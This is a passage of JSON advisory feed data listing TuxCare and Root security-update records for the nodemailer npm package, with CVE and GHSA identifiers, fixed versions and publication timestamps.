0.7.1-tuxcare.3.","status":"published","published":"2026-09-10T10:48:02Z","modified":"2026-10-15T09:47:56.114738176Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789050616","title":"TuxCare security update for nodemailer (7 CVEs)","description":"TuxCare rebuilt nodemailer to address 7 CVEs. Fixed in 2.7.2-tuxcare.5.","status":"published","published":"2026-09-10T14:30:16Z","modified":"2026-10-15T09:47:56.098904573Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1789052249","title":"TuxCare security update for nodemailer (6 CVEs)","description":"TuxCare rebuilt nodemailer to address 6 CVEs. Fixed in 6.10.1-tuxcare.9.","status":"published","published":"2026-09-10T14:57:29Z","modified":"2026-10-15T09:47:55.600877133Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1794464246","title":"TuxCare security update for nodemailer (14 CVEs)","description":"TuxCare rebuilt nodemailer to address 14 CVEs. Fixed in 7.0.13-tuxcare.2.","status":"published","published":"2026-11-12T07:17:27Z","modified":"2026-11-12T13:45:07.348404135Z","updated_at":"2026-11-12T13:52:20.648435Z"},{"id":"ROOT-APP-NPM-CVE-2026-82662","title":"CVE-2026-82662 in nodemailer - Patched by Root","description":"Root has patched CVE-2026-82662 in the nodemailer package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T13:20:22Z","modified":"2026-10-19T14:15:04.273087203Z","updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"ROOT-APP-NPM-GHSA-frj6-5rhh-vwfw","title":"GHSA-frj6-5rhh-vwfw in nodemailer - Patched by Root","description":"Root has patched GHSA-frj6-5rhh-vwfw in the nodemailer package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T13:20:22Z","modified":"2026-10-19T14:15:04.258186973Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-r7g4-qg5f-qqm2","title":"GHSA-r7g4-qg5f-qqm2 in nodemailer - Patched by Root","description":"Root has patched GHSA-r7g4-qg5f-qqm2 in the nodemailer package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T13:20:22Z","modified":"2026-10-19T14:15:11.16231788Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}